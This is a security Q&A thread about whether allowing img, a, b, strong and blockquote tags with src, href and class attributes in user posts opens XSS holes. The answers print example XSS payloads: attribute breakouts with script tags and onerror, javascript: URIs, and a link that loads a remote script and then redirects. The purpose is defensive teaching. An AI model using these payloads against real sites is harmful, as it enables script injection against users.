3

I am developing a social website and want to allow user ONLY these html tags and attributes in their posts:

tags:  <img>, <b>, <strong>, <blockquote>, <a>
attributes:  'src', 'alt', 'width', 'height', 'href', 'class'

I am wondering if allowing any of them can open the door to some XSS or other exploits?

  • 4
    A lot of people will want to ask how you are filtering, and why some other type of markup formatting system like Markdown won't better suit your needs. If these questions are not relevant, you might need to address them in your question. – schroeder Sep 2 '15 at 22:16
  • @schroeder. I'm using python re library to filter out unwanted tags. Markdown may be inherently safer, but would be overkill to implement on this small project. – Jand Sep 2 '15 at 22:52
  • That python re is going to be the bigger problem than whitelisting tags or attributes. There are lots of ways to encode XSS code and you aren't going to be able to filter them all out. You are potentially going to have to look at another approach entirely for dealing with code snippets. – schroeder Sep 2 '15 at 22:57
  • @schroeder can you elaborate on what is the most secure approach? – Jand Sep 2 '15 at 23:02
  • OWASP is going to be the best place to get you started on this. There are a lot of moving parts, so I can't be a whole lot more specific. – schroeder Sep 2 '15 at 23:04
7

Src attribute could lead to XSS if you allow the user to define the protocol, for example to enter javascript: instead of http:

Example: <a src=javascript:alert()>

Additionally, you should use proper output encoding for the user controlled variables so that the user cannot escape out of the attribute/tag. For example if you have the following tag:

<a href="USER CONTROLLED DATA">

Without propper output encoding, the user could enter the following data:

"><script>alert();</script>

Which would mean the tag would then look like this:

<a href=""><script>alert();</script>">
  • Well, my list of tags is exclusively what I've mentioned. The input text is filtered out against any other tags so there is no chance for user to add other <script>. Regarding this, if I blacklist javascript would be enough to avoid script injection? – Jand Sep 2 '15 at 22:09
  • Relaying only on filtering/blacklisting for XSS protection would be risky because there would be a lot to blacklist, and when doing that, you can either miss something, or blacklist content that should not be blacklisted. Output encoding must also be used. I suggest you take a look at the OWASP XSS prevention cheat sheet: owasp.org/index.php/… – stanko Sep 2 '15 at 22:31
  • 2
    @pineappleman is spot on here. You really don't want to try to detect this with set rules — people will evade them. Here is a great list of techniques (also via owasp) owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet ... Are you really going to check for all of these? – Mike G Sep 2 '15 at 22:38
  • @MikeG you and pineappleman are right. Though I'm not sure how to encode output (using django) – Jand Sep 2 '15 at 22:49
  • 1
    You might want to mark this answer as correct then :) As for output, I agree with @schroeder's comment on your question; use something like Markdown — although, you should be careful as it is part of Markdown's spec to allow for HTML to be cleanly passed through. With that in mind, your process is 2 part: 1. strip html, 2. convert Markdown to HTML. – Mike G Sep 2 '15 at 22:57
2

XSS

Even if we assume that your filters work perfectly (which I would not do automatically, filtering is rather complex, and easy to get wrong), this may lead to XSS.

Because it hasn't been mentioned yet: a in combination with an unfiltered href is not secure, as JavaScript will be executed. An attacker can load a remote script and then redirect so the link acts as a normal link:

<a href="javascript:s=document.createElement('script');s.src='http://localhost/s.js';document.body.appendChild(s);window.location='http://www.google.com/'">click</a>

The victim has to actually click the link, but an attacker can provide an interesting link or use ClickJacking to achieve this.

Encoding

Because you mentioned in a comment that you do not use any encoding, but just tag filtering: If you do not encode quotes, an attacker can break out of the context of the current attribute. For example:

<img src="user_input">

with

user_input = invalid" onerror="alert(1)

leads to

<img src="invalid" onerror="alert(1)">

which will be executed by all browsers.

  • Only old versions of IE will execute this alert(1). Right? – Jand Sep 4 '15 at 9:42
  • 1
    @Paulrx No. The example with img, onerror, and alert will be executed by all current browsers. – tim Sep 4 '15 at 9:45
1

To add to the existing answer: It might also possible to misuse the class attribute, depending on your code. Just imagine that your web application has some code which binds to any elements of a specific class or any which show a specific behavior (which can be set by the class). In this case this code could be triggered if you allow the user to use any class name in its HTML. And since the code does not expect to be executed in the context defined by the users HTML this could lead to unexpected results.

Of course you could also have code bindings based on the tag or specific attributes which can be misused in a similar way with the other tags and attributes you allow. But having bindings for a class is more common.

Apart from that, don't use any kinds of regular expression to filter bad things (like you intend according to your comments). If you really want to allow HTML treat it like any other kind of markup, i.e. parse it into an internal form and then create the resulting HTML out of this. And of course you should check and maybe modify any attribute values you get from the user, i.e. limit the class names to some white listed set, sanitize URL's, properly escape any content for the alt tag, limit the size of width and height (or better: get these information from the image itself) ... You should never try to just strip seemingly bad things from the user input because there will be enough ways to bypass these blacklistings. Browsers interpret broken HTML in creative ways.

protected by Community Mar 24 '18 at 5:54

Thank you for your interest in this question. Because it has attracted low-quality or spam answers that had to be removed, posting an answer now requires 10 reputation on this site (the association bonus does not count).

Would you like to answer one of these unanswered questions instead?

Not the answer you're looking for? Browse other questions tagged or ask your own question.